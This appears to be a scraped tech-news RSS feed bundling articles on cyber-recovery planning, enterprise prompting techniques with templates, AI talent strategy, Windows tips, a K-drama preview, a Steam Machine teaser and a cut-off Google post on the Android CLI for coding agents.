<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



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<title><![CDATA[The OSINT advantage: Find your weak spots before attackers do]]></title>
<description><![CDATA[Here’s how open-source intelligence helps trace your digital footprint and uncover your weak points, plus a few essential tools to connect the dots]]></description>
<link>https://tsecurity.de/de/3694256/it-security-nachrichten/the-osint-advantage-find-your-weak-spots-before-attackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694256/it-security-nachrichten/the-osint-advantage-find-your-weak-spots-before-attackers-do/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here’s how open-source intelligence helps trace your digital footprint and uncover your weak points, plus a few essential tools to connect the dots]]></content:encoded>
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<title><![CDATA[I dug through Reddit to find the ten Windows 11 features people find "life-changing, " and the results were fascinating]]></title>
<description><![CDATA[Discover 10 underrated Windows 11 features Reddit users swear by, from Clipboard history and Winget to Sandbox and Reliability Monitor.]]></description>
<link>https://tsecurity.de/de/3694013/windows-tipps/i-dug-through-reddit-to-find-the-ten-windows-11-features-people-find-life-changing-and-the-results-were-fascinating/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694013/windows-tipps/i-dug-through-reddit-to-find-the-ten-windows-11-features-people-find-life-changing-and-the-results-were-fascinating/</guid>
<pubDate>Sat, 25 Jul 2026 16:04:45 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Discover 10 underrated Windows 11 features Reddit users swear by, from Clipboard history and Winget to Sandbox and Reliability Monitor.]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other.




Release date: July 25, 2...]]></description>
<link>https://tsecurity.de/de/3693923/ios-mac-os/agent-kim-reactivated-finale-preview-will-agent-kim-fight-his-closest-friends/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693923/ios-mac-os/agent-kim-reactivated-finale-preview-will-agent-kim-fight-his-closest-friends/</guid>
<pubDate>Sat, 25 Jul 2026 14:45:18 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other.




Release date: July 25, 2026



Release time: 9:45 p.m. KST on SBS




Spoiler warning for Episode 9



Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards.



However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation.



The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts.



Will the three agents fight each other?



The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions.



This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children.



Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act.



Will all the families survive?



The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments.



Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats.



Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[The Valve Steam Machine should be the perfect 'couch gaming' PC—but after testing it out, I'm not convinced it's worth the price]]></title>
<description><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></description>
<link>https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</guid>
<pubDate>Sat, 25 Jul 2026 13:03:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
<div class="separator">
    <div>
        </div></div>
<p></p>

  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

